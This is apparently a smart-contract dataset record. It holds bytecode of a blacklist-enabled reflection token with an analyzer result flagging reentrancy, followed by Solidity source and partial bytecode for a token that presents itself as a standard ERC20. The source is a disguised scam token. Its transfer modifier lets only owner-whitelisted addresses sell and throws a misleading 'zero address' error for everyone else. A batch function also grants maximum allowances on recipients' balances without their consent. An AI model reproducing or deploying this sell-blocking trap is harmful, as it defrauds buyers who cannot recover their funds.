0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063c3c8cd8011610064578063c3c8cd80146104f5578063c492f0461461050a578063dd62ed3e1461052a578063ea1644d51461057057600080fd5b806398a5c31514610465578063a2a957bb14610485578063a9059cbb146104a5578063bfd79284146104c557600080fd5b80638da5cb5b116100d15780638da5cb5b146104115780638f70ccf71461042f5780638f9a55c01461044f57806395d89b41146101f357600080fd5b8063715018a6146103c657806374010ece146103db5780637d1db4a5146103fb57600080fd5b8063313ce567116101645780636b9990531161013e5780636b999053146103515780636d8aa8f8146103715780636fc3eaec1461039157806370a08231146103a657600080fd5b8063313ce567146102f557806338bf3cfa1461031157806349bd5a5e1461033157600080fd5b80631694505e116101a05780631694505e1461026257806318160ddd1461029a57806323b872dd146102bf5780632fd689e3146102df57600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023257600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab6565b610590565b005b3480156101ff57600080fd5b50604080518082018252600781526644657374696e7960c81b602082015290516102299190611be0565b60405180910390f35b34801561023e57600080fd5b5061025261024d366004611a0c565b61063d565b6040519015158152602001610229565b34801561026e57600080fd5b50601454610282906001600160a01b031681565b6040516001600160a01b039091168152602001610229565b3480156102a657600080fd5b5067062afbddf70418005b604051908152602001610229565b3480156102cb57600080fd5b506102526102da3660046119cc565b610654565b3480156102eb57600080fd5b506102b160185481565b34801561030157600080fd5b5060405160098152602001610229565b34801561031d57600080fd5b506101f161032c36600461195c565b6106bd565b34801561033d57600080fd5b50601554610282906001600160a01b031681565b34801561035d57600080fd5b506101f161036c36600461195c565b6107a7565b34801561037d57600080fd5b506101f161038c366004611b7d565b6107f2565b34801561039d57600080fd5b506101f161083a565b3480156103b257600080fd5b506102b16103c136600461195c565b610885565b3480156103d257600080fd5b506101f16108a7565b3480156103e757600080fd5b506101f16103f6366004611b97565b61091b565b34801561040757600080fd5b506102b160165481565b34801561041d57600080fd5b506000546001600160a01b0316610282565b34801561043b57600080fd5b506101f161044a366004611b7d565b61094a565b34801561045b57600080fd5b506102b160175481565b34801561047157600080fd5b506101f1610480366004611b97565b610992565b34801561049157600080fd5b506101f16104a0366004611baf565b6109c1565b3480156104b157600080fd5b506102526104c0366004611a0c565b6109ff565b3480156104d157600080fd5b506102526104e036600461195c565b60106020526000908152604090205460ff1681565b34801561050157600080fd5b506101f1610a0c565b34801561051657600080fd5b506101f1610525366004611a37565b610a60565b34801561053657600080fd5b506102b1610545366004611994565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057c57600080fd5b506101f161058b366004611b97565b610b0f565b6000546001600160a01b031633146105c35760405162461bcd60e51b81526004016105ba90611c33565b60405180910390fd5b60005b8151811015610639576001601060008484815181106105f557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063181611d46565b9150506105c6565b5050565b600061064a338484610b3e565b5060015b92915050565b6000610661848484610c62565b6106b384336106ae85604051806060016040528060288152602001611da3602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061119e565b610b3e565b5060019392505050565b6000546001600160a01b031633146106e75760405162461bcd60e51b81526004016105ba90611c33565b6001600160a01b03811661074c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ba565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107d15760405162461bcd60e51b81526004016105ba90611c33565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461081c5760405162461bcd60e51b81526004016105ba90611c33565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061086f57506013546001600160a01b0316336001600160a01b0316145b61087857600080fd5b47610882816111d8565b50565b6001600160a01b03811660009081526002602052604081205461064e9061125d565b6000546001600160a01b031633146108d15760405162461bcd60e51b81526004016105ba90611c33565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109455760405162461bcd60e51b81526004016105ba90611c33565b601655565b6000546001600160a01b031633146109745760405162461bcd60e51b81526004016105ba90611c33565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109bc5760405162461bcd60e51b81526004016105ba90611c33565b601855565b6000546001600160a01b031633146109eb5760405162461bcd60e51b81526004016105ba90611c33565b600893909355600a91909155600955600b55565b600061064a338484610c62565b6012546001600160a01b0316336001600160a01b03161480610a4157506013546001600160a01b0316336001600160a01b0316145b610a4a57600080fd5b6000610a5530610885565b9050610882816112e1565b6000546001600160a01b03163314610a8a5760405162461bcd60e51b81526004016105ba90611c33565b60005b82811015610b09578160056000868685818110610aba57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610acf919061195c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b0181611d46565b915050610a8d565b50505050565b6000546001600160a01b03163314610b395760405162461bcd60e51b81526004016105ba90611c33565b601755565b6001600160a01b038316610ba05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ba565b6001600160a01b038216610c015760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ba565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ba565b6001600160a01b038216610d285760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ba565b60008111610d8a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ba565b6000546001600160a01b03848116911614801590610db657506000546001600160a01b03838116911614155b1561109757601554600160a01b900460ff16610e4f576000546001600160a01b03848116911614610e4f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ba565b601654811115610ea15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ba565b6001600160a01b03831660009081526010602052604090205460ff16158015610ee357506001600160a01b03821660009081526010602052604090205460ff16155b610f3b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ba565b6015546001600160a01b03838116911614610fc05760175481610f5d84610885565b610f679190611cd8565b10610fc05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ba565b6000610fcb30610885565b601854601654919250821015908210610fe45760165491505b808015610ffb5750601554600160a81b900460ff16155b801561101557506015546001600160a01b03868116911614155b801561102a5750601554600160b01b900460ff165b801561104f57506001600160a01b03851660009081526005602052604090205460ff16155b801561107457506001600160a01b03841660009081526005602052604090205460ff16155b1561109457611082826112e1565b47801561109257611092476111d8565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110d957506001600160a01b03831660009081526005602052604090205460ff165b8061110b57506015546001600160a01b0385811691161480159061110b57506015546001600160a01b03848116911614155b1561111857506000611192565b6015546001600160a01b03858116911614801561114357506014546001600160a01b03848116911614155b1561115557600854600c55600954600d555b6015546001600160a01b03848116911614801561118057506014546001600160a01b03858116911614155b1561119257600a54600c55600b54600d555b610b0984848484611486565b600081848411156111c25760405162461bcd60e51b81526004016105ba9190611be0565b5060006111cf8486611d2f565b95945050505050565b6012546001600160a01b03166108fc6111f28360026114b4565b6040518115909202916000818181858888f1935050505015801561121a573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112358360026114b4565b6040518115909202916000818181858888f19350505050158015610639573d6000803e3d6000fd5b60006006548211156112c45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ba565b60006112ce6114f6565b90506112da83826114b4565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138b57600080fd5b505afa15801561139f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c39190611978565b816001815181106113e457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461140a9130911684610b3e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611443908590600090869030904290600401611c68565b600060405180830381600087803b15801561145d57600080fd5b505af1158015611471573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061149357611493611519565b61149e848484611547565b80610b0957610b09600e54600c55600f54600d55565b60006112da83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163e565b600080600061150361166c565b909250905061151282826114b4565b9250505090565b600c541580156115295750600d54155b1561153057565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611559876116ac565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158b9087611709565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ba908661174b565b6001600160a01b0389166000908152600260205260409020556115dc816117aa565b6115e684836117f4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162b91815260200190565b60405180910390a3505050505050505050565b6000818361165f5760405162461bcd60e51b81526004016105ba9190611be0565b5060006111cf8486611cf0565b600654600090819067062afbddf704180061168782826114b4565b8210156116a35750506006549267062afbddf704180092509050565b90939092509050565b60008060008060008060008060006116c98a600c54600d54611818565b92509250925060006116d96114f6565b905060008060006116ec8e87878761186d565b919e509c509a509598509396509194505050505091939550919395565b60006112da83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061119e565b6000806117588385611cd8565b9050838110156112da5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ba565b60006117b46114f6565b905060006117c283836118bd565b306000908152600260205260409020549091506117df908261174b565b30600090815260026020526040902055505050565b6006546118019083611709565b600655600754611811908261174b565b6007555050565b6000808080611832606461182c89896118bd565b906114b4565b90506000611845606461182c8a896118bd565b9050600061185d826118578b86611709565b90611709565b9992985090965090945050505050565b600080808061187c88866118bd565b9050600061188a88876118bd565b9050600061189888886118bd565b905060006118aa826118578686611709565b939b939a50919850919650505050505050565b6000826118cc5750600061064e565b60006118d88385611d10565b9050826118e58583611cf0565b146112da5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ba565b803561194781611d8d565b919050565b8035801515811461194757600080fd5b60006020828403121561196d578081fd5b81356112da81611d8d565b600060208284031215611989578081fd5b81516112da81611d8d565b600080604083850312156119a6578081fd5b82356119b181611d8d565b915060208301356119c181611d8d565b809150509250929050565b6000806000606084860312156119e0578081fd5b83356119eb81611d8d565b925060208401356119fb81611d8d565b929592945050506040919091013590565b60008060408385031215611a1e578182fd5b8235611a2981611d8d565b946020939093013593505050565b600080600060408486031215611a4b578283fd5b833567ffffffffffffffff80821115611a62578485fd5b818601915086601f830112611a75578485fd5b813581811115611a83578586fd5b8760208260051b8501011115611a97578586fd5b602092830195509350611aad918601905061194c565b90509250925092565b60006020808385031215611ac8578182fd5b823567ffffffffffffffff80821115611adf578384fd5b818501915085601f830112611af2578384fd5b813581811115611b0457611b04611d77565b8060051b604051601f19603f83011681018181108582111715611b2957611b29611d77565b604052828152858101935084860182860187018a1015611b47578788fd5b8795505b83861015611b7057611b5c8161193c565b855260019590950194938601938601611b4b565b5098975050505050505050565b600060208284031215611b8e578081fd5b6112da8261194c565b600060208284031215611ba8578081fd5b5035919050565b60008060008060808587031215611bc4578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c0c57858101830151858201604001528201611bf0565b81811115611c1d5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cb75784516001600160a01b031683529383019391830191600101611c92565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ceb57611ceb611d61565b500190565b600082611d0b57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2a57611d2a611d61565b500290565b600082821015611d4157611d41611d61565b500390565b6000600019821415611d5a57611d5a611d61565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d57f2956d10e4f53b758a35e5c65557ed8a3c4b4580a130bc73ae7a8dad7fe6e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,037
0xb5581ec7b106d5dfcbd6260297d874e453b1d3fd
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_ARTX(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffff